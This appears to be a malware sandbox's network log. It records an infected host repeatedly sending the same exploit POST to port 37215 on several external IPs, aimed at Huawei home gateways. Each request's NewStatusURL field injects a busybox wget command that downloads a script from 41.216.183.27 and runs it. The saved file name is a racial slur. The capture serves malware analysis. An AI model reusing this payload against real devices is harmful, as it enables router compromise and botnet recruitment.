Feb 19, 2024 18:37:25.921621084 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:36.673137903 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:58.432502985 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.15	49790	181.177.251.236	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:16.804936886 CET	844	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.15	33012	45.250.173.124	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:24.573826075 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:25.441464901 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:26.433521032 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:28.417346954 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:32.577265024 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
